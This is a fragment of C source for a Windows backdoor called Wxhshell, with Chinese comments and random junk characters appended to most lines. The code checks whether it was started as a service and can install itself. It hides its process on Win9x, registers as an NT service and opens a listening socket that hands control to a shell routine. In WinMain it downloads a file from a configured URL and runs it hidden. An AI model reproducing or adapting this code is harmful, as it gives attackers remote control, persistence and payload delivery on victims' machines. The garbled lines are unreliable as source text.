ULONG UniqueProcessId; ErN[maix#
ULONG InheritedFromUniqueProcessId; '
!huU
} PROCESS_BASIC_INFORMATION; hLfWDf*T|
2
PROCNTQSIP NtQueryInformationProcess; I/'>MDB!
!fs ~ >
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %g*nd#wG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JP!e'oWxi
ln<[CgV8
HANDLE hProcess; /5%'q~
PROCESS_BASIC_INFORMATION pbi; 2k!uk6
&[`24Db
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }[%F
if(NULL == hInst ) return 0; . (&6gB
+R?E @S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gb2|e.z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hz bvR~rn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '3XOU.
l[ko)%7V
if (!NtQueryInformationProcess) return 0; A@M2(?w4
g=KK
PSK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VK4UhN2
if(!hProcess) return 0; l="(Hp%b
qY&(O`?m&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cpzd k~+H
E.yFCaL
CloseHandle(hProcess); )fXxkOd
5hqXMs
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ko.%@Y(=
if(hProcess==NULL) return 0; z:UkMn[
0gyvRM@ x[
HMODULE hMod; 2w8YtM3+"z
char procName[255]; j % MY6"
unsigned long cbNeeded; DN8I[5O
4Zjd g`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {\?f|mmq
gy1kb,MO
CloseHandle(hProcess); gISA13
9U9ghWH8
if(strstr(procName,"services")) return 1; // 以服务启动 ^=I[uX-3ue
xR'd}>`
return 0; // 注册表启动 -Hi_g@i*XW
} +=`w
)`=N+k]
// 主模块 Q2|6W E
int StartWxhshell(LPSTR lpCmdLine) |rpMwkR
{ _ru<1n[4~
SOCKET wsl; YU87l
BOOL val=TRUE; M/[9ZgDc
int port=0; xZAg
struct sockaddr_in door; Kd#64NSi$A
J(~xU0gd'
if(wscfg.ws_autoins) Install(); #.j:P#
k \t6b1.M
port=atoi(lpCmdLine); EU5(s*A
LQ$dT#z2A
if(port<=0) port=wscfg.ws_port; e?aSM
X bV?=
WSADATA data; -r_ Pp}s
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =c[mch%E
ZDrTPnA[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
*!EHs04
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H]lD*3b
door.sin_family = AF_INET; a
8jG')zg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); oRn 5blj
door.sin_port = htons(port); gn 9CZ
kr
?`GQm
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qyzeAK\Ia
closesocket(wsl); {.,y v>%
return 1; ht)KS9Xu
} WtSlD9 h
[yAR%]i-7
if(listen(wsl,2) == INVALID_SOCKET) { {XS2<!D
closesocket(wsl); &kOb#\11u
return 1; la!rg#)-X
} el0W0T
Wxhshell(wsl); (7aE!r\Ab
WSACleanup(); Bq:: 5,v
7"_gX
return 0; =1kjKE !
1n
ZE9;o
} $r)nvf`\
Y0OVzp9 b
// 以NT服务方式启动 {QLqf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )3_g&&
{ gtP;Qw'
DWORD status = 0; Kib?JRYt
DWORD specificError = 0xfffffff; l\-(li
H
YwM;G
g3
serviceStatus.dwServiceType = SERVICE_WIN32; CV,[x[L#{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qoD
M!~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j[1^#kE
serviceStatus.dwWin32ExitCode = 0; u`X}AKC
serviceStatus.dwServiceSpecificExitCode = 0; U#_rcu
serviceStatus.dwCheckPoint = 0; t#J
#DyY5
serviceStatus.dwWaitHint = 0; p&\x*~6u
@*LESN>T@t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b+}*@xhl
if (hServiceStatusHandle==0) return; BUKh5L
!NOvKC!
status = GetLastError(); Y|i!\Ae
if (status!=NO_ERROR) [+y/qx79
{
o;:a6D`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7~q'3 N
serviceStatus.dwCheckPoint = 0; W,n0'";')
serviceStatus.dwWaitHint = 0; 0 g(hY:
serviceStatus.dwWin32ExitCode = status; Ol@
YSk d
serviceStatus.dwServiceSpecificExitCode = specificError; \+w -{"u$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V/!8q`lYNJ
return; ]pA}h.R#-
} <<![3&p#
Ts:pk
serviceStatus.dwCurrentState = SERVICE_RUNNING; WS0RvBvb
serviceStatus.dwCheckPoint = 0; 2?7a\s
serviceStatus.dwWaitHint = 0; C44Dz.rs
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dkf?lmC+M
} K`1\3J)
HPj7i;?O
// 处理NT服务事件,比如:启动、停止 9X{aU)"omQ
VOID WINAPI NTServiceHandler(DWORD fdwControl) t
UW'E
{ }%rz"kB
switch(fdwControl) P8s'e_t
{ h^0!I TL ^
case SERVICE_CONTROL_STOP: {4{ACp
serviceStatus.dwWin32ExitCode = 0; ]urcA,a
serviceStatus.dwCurrentState = SERVICE_STOPPED; N|1k6g=0
serviceStatus.dwCheckPoint = 0; !'C^qrh
serviceStatus.dwWaitHint = 0; *K\/5Fzl
{ UkL'h&J~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f-6E>
} `}u~nu<
return; -OuMC&
case SERVICE_CONTROL_PAUSE: [XQoag;!
serviceStatus.dwCurrentState = SERVICE_PAUSED; $wVY)p9Q
break; c>3W1"
case SERVICE_CONTROL_CONTINUE: Wcn^IQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; D058=}^HE
break; B: uW(E
case SERVICE_CONTROL_INTERROGATE: 'gE_xn7j
break; G";yqG
}; G\IH
b
|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"WvkW>-
} )5X7|*LP
e:.Xs
// 标准应用程序主函数 _W*3FH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,[^P
{ X;p,Wq#D'
4//Ww6W:
// 获取操作系统版本 s 4}}MV3X
OsIsNt=GetOsVer(); I)O-i_}L&K
GetModuleFileName(NULL,ExeFile,MAX_PATH); c Ew/F0
{N;XjV1x
// 从命令行安装 5kJ>pb$/
if(strpbrk(lpCmdLine,"iI")) Install(); Md[nlz
?(U>
)SvF
// 下载执行文件 U1rh[A>
if(wscfg.ws_downexe) { Y6fU;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +3t(kQ
WinExec(wscfg.ws_filenam,SW_HIDE); Md_\9G .e
} G(4:yK0
Q_1EAxt
if(!OsIsNt) { Vo(d)"m?
// 如果时win9x,隐藏进程并且设置为注册表启动 7IZ(3B<87t
HideProc(); q^dI!93n|
StartWxhshell(lpCmdLine); ScfW;
} 12E@9s$Z
else +2W#=G
if(StartFromService()) %-T]!3"n
// 以服务方式启动 Ar=pzQ<Z{
StartServiceCtrlDispatcher(DispatchTable); E(
*$wD
else )WEyB~'o
// 普通方式启动 BbiBtU
StartWxhshell(lpCmdLine); 3QS"n.d
;Fuxj!gF
return 0; "v~w#\pz7
}